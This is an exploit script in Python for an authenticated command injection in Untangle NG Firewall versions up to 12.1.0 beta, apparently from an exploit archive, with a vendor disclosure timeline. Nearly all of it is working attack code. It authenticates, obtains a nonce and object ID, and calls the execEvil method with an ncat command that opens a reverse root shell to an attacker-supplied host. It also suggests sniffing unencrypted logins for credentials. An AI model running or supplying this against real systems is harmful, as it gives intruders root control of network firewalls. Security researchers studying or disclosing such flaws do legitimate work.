Untangle NGFW 12.1.0 Beta execEvil() Command Injection

`#!/usr/bin/python  
  
# Title: Untangle NGFW <= v12.1.0 beta execEvil() authenticated root CI exploit  
# CVE: (Not yet assigned)  
# Discovery: Matt Bush (@3xocyte)  
# Exploit: Matt Bush  
# Contact: [email protected]  
  
# Disclosure Timeline:  
# 22/4/2016 Attempted to contact vendor after discovery of vulnerabilities  
# 6/5/2016 No response from vendor, vulnerabilities reported to US-CERT (assigned VU#538103)  
# 12/5/2016 US-CERT confirms contacting vendor  
# 16/6/2016 US-CERT notifies of no response from vendor and suggests requesting CVE-ID following their timeline  
# 27/6/2016 Public disclosure  
  
# A command injection vulnerability exists in Untangle NG Firewall, which allows non-root authenticated users to execute system commands with  
# root privileges. This exploit has been tested on Untangle NG Firewall versions 11.2, 12, 12.0.1, and 12.1.0 beta, but should work on previous   
# versions. The client-side sanitisation issues identified in the disclosure post can be exploited with a web app proxy. This exploit leverages  
# the vulnerable function directly. Credentials can be obtained by sniffing unsecured HTTP logins (which the appliance defaults to).  
  
# The author is not responsible for how this script or any information within this script is used. Don't do anything stupid.  
  
import json, requests, sys  
  
if len(sys.argv) < 5:  
print "[!] usage: " + sys.argv[0] + " <RHOST> <LHOST> <username> <password>"  
print "[!] and in a separate terminal: 'ncat --ssl -nlvp 443'"  
sys.exit()  
  
print "\nUntangle NGFW <= v12.0.1 execEvil() authenticated root CI exploit"  
print " by @3xocyte\n"  
  
rhost = sys.argv[1]  
lhost = sys.argv[2]  
username = sys.argv[3]  
password = sys.argv[4]  
  
login_url = "http://" + rhost + "/auth/login?url=/webui&realm=Administrator"  
rpc_url = "http://" + rhost + "/webui/JSON-RPC"  
auth = {'username': username, 'password': password}  
  
print "[*] Opening session..."  
session = requests.Session()  
  
print "[*] Authenticating..."  
try:  
login = session.post(login_url, data=auth)  
get_nonce = {"id":1,"nonce":"","method":"system.getNonce","params":[]}  
req_nonce = session.post(rpc_url, data=json.dumps(get_nonce))  
data = json.loads(req_nonce.text)  
nonce = data['result']  
except:  
print "[!] Authentication failed. Quitting."  
sys.exit()  
  
print "[*] Getting execManager objectID..."  
try:  
get_obj_id = {"id":2,"nonce":nonce,"method":"UvmContext.getWebuiStartupInfo","params":[]}  
req_obj_id = session.post(rpc_url, data=json.dumps(get_obj_id))  
data = json.loads(req_obj_id.text)  
object_id = data['result']['execManager']['objectID']  
  
except:  
print "[!] Could not get execManager objectID. Quitting."  
sys.exit()  
  
print "[*] Exploiting Ung.Main.getExecManager().execEvil()..."  
try:  
exploit = {"id":3,"nonce":nonce,"method":".obj#" + str(object_id) + ".execEvil","params":["ncat --ssl -e /bin/sh " + lhost + " 443"]}  
session.post(rpc_url, data=json.dumps(exploit))  
except:  
print "[!] Exploit failed. Quitting."  
sys.exit()  
  
print "[*] Exploit sent!"  
  
`